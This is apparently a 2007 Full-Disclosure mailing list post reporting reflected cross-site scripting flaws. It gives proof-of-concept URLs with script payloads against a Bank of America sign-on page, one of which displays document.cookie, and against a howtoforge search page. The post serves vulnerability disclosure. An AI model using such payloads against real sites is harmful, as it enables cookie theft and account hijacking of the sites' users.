even worse when its a bank. I dont usually look for it but... https://sitekey.bankofamerica.com/sas/signonScreen.do?reason=regular&msg=<script>alert("XSS_is_bad_for_business");alert(document.cookie)</script>
all input from the client is evil! On 11/1/07, reepex <[EMAIL PROTECTED]> wrote: > lol pdp > > On Nov 1, 2007 4:58 PM, Emmanouil Gavriil <[EMAIL PROTECTED]> > wrote: > > > > > > Cross Site Scripting at howtoforge.. > > > > > http://www.howtoforge.com/trip_search?keys=<script>alert('XSS-Test')</script > > > > > > Emmanouil Gavriil > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: > http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: > http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
